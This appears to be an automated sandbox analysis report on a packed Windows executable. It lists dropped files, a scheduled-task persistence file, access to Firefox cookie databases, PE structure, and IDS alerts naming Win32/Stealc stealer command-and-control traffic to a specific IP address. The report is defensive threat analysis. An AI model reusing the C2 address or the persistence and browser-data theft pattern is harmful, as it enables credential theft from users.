Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\a7f446e5-bee8-4c80-bbf0-d653b6aed8e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsDHJECFCGHI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1928192
Entropy (8bit):	7.949096417113844
Encrypted:	false
SSDEEP:	49152:3jRwzOUOxqpHXV7ehRYo/cpkFt80BZ2QV7aGyC:3j+pOkJXV7Nqckm
MD5:	A93B02D857DB3B12C32BD765B83825AB
SHA1:	137F12047A081E6581E1D1A83C939D98514C3FF3
SHA-256:	553620B236B58004ED19556A8E380EA9C17F542D16986F0C88E9E7EFC64670FA
SHA-512:	AAB2BFD4090C77B87784D0110F5EE2DD24554FADA9BDF9C2E8E08FF01A9025F5D8A7DFA2D4B89BF35CB037C162292A04F1084B87727B1BD201A9B5AB1B367BCD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L.....$.....@.................................W...k.......D.....................L...............................L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...zeiislbd.P....1..P..................@...qmlrfrpw..... L......F..............@....taggant.0...0L.."...J..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsDHJECFCGHI.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.505296306498586
Encrypted:	false
SSDEEP:	6:o4Oo/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lB5lAt0:9OorlvJQ1CGAFMkXd8kX+VB7At0
MD5:	1202B6D9BE3270CD377EB8E8D58AC329
SHA1:	A8E529E1043851FC1508B90FCC7774EF88A91A3A
SHA-256:	5D1118DDA8F49C653BE57E8411961FE2C9D91A47C5AD9E3AD6C8628357155B06
SHA-512:	F6D48ECC105F348082C1A6655482F18217F19FCFEC9B2FAEF55B1C833755AC65FB0B881363529346093BEDD264230D61141BBAD4442EC40B075B377D97638AE0
Malicious:	false
Preview:	.....*....@..y.a..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................3.@3P.........................

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3959)
Category:	downloaded
Size (bytes):	3965
Entropy (8bit):	5.844456433699506
Encrypted:	false
SSDEEP:	96:KyjhIfNliHH6666RUT2T6RLL88SRCgCIbIaNv53ZjLxRLmzafQfffo:Njuj0H6666RUT1Zo8SRCgfNjjLxRSE
MD5:	C38E89F532EC1643AC4E8472BBE1C65F
SHA1:	07957F594036470DA60F348E0B2F5C9850E5BCAF
SHA-256:	8A6B3284E8864FAAE24BC4047903A57F70D5DE87B0C363A641729D3E645BEBB3
SHA-512:	D9DC10590736D988E39ECC96741113B5EC27AB253B81E3B01D135C366108DEA2A360D1C28E958967787085F1FF7C18ABD4F0C1FD26E31A8511EE87EBEC10BB9E
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["dollar general thanksgiving hours","seattle seahawks news","terrifier 3 movie","thanksgiving weather forecast snow storm","galarian corsola pok.mon go","best streamers","dickies","cal football equipment manager tackle"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXRjOHhwY3lzEhlUZXJyaWZpZXIgMyDigJQgMjAyNCBmaWxtMq8RZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBYUFBQURBUUVCQVFBQUFBQUFBQUFBQUFBRUJRWUhBd0lCLzhRQU54QUFBZ0VDQkFRRUJBUUVCd0FBQUFBQUFRSURCQkVBQlJJaE1VRlJZUVlUSW5FVU1vR1JGU05DOExIQzBlRVdGek5EVWxPaC84UUFH

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132980
Entropy (8bit):	5.435474763131845
Encrypted:	false
SSDEEP:	3072:fwkX3ioI5wrfFiC8jMbk/5xnRzpvsMTwR2i6o:fb3dDFqr/5xnRzpvrwR8o
MD5:	F72FF0F9D5315904AA43DCF0998857E4
SHA1:	71949074C0F4A935CFDC09579F08AFAF8010EE0C
SHA-256:	09228DBE5B0771F8BABD10DECA0825350F85D866E1D20AC7160B93D5BE0E509C
SHA-512:	BA354D437B6B9199799DF7412B742125758DE472871A10A3A289FB313E84C5D1B065CB5225F6B007487BE0D2BCDE19F3297329C68D90743F17B5856C741A71C4
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946629059530746
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'776'640 bytes
MD5:	eff725edfb37ab797a338efab7f09c76
SHA1:	9a1d9acc84b66da5111b21dd37b27d4d3d505a8e
SHA256:	f5310d2651b5565f1bdf48d30b6ed328e4e831914e03945a0981a4b990b12ade
SHA512:	45fc7cc9de1a00303b9c33f1df57940cedd77e849937a3c11a6888b968b66af259662551b9c5433747a84e5b6eb0cefd6acd5385ef13b2bbf2854c934fafbb3d
SSDEEP:	49152:Aw/JXafpAqf8pO8/+X5ZTk+Gaj0PWuVJQ:LBCAq0pO8S7Tk+0PfVK
TLSH:	9885332B8C35A6FFC99FD67C0AA315107FF58F09D0973A0446AC8EF495123E5B526983
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa86000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDE88BD146Ah
psubd mm3, qword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	98c1128e6c5250b967a019ce74beb153	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	f64b717dc1c6504e5f5801a65258733e	False	0.79296875	data	6.020764618914293	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a1000	0x200	36a26191d7cadc8afc3a851be5783600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
loxfkbwv	0x4ed000	0x198000	0x197e00	6f5534031ec6857c6cbc2018a886bd0a	False	0.9948253859561753	data	7.9549321949569	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vwaufyob	0x685000	0x1000	0x400	295cbcafc4a4c8028756ee912e9c474c	False	0.767578125	data	6.073857595823466	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x686000	0x3000	0x2200	127385c13e0de14776b9de9eb678ddf9	False	0.07146139705882353	DOS executable (COM)	0.9082110346521108	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x684a04	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T11:05:02.285236+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-28T11:05:02.726203+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-28T11:05:02.873151+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49702	TCP
2024-11-28T11:05:03.193281+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-28T11:05:03.723010+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49702	TCP
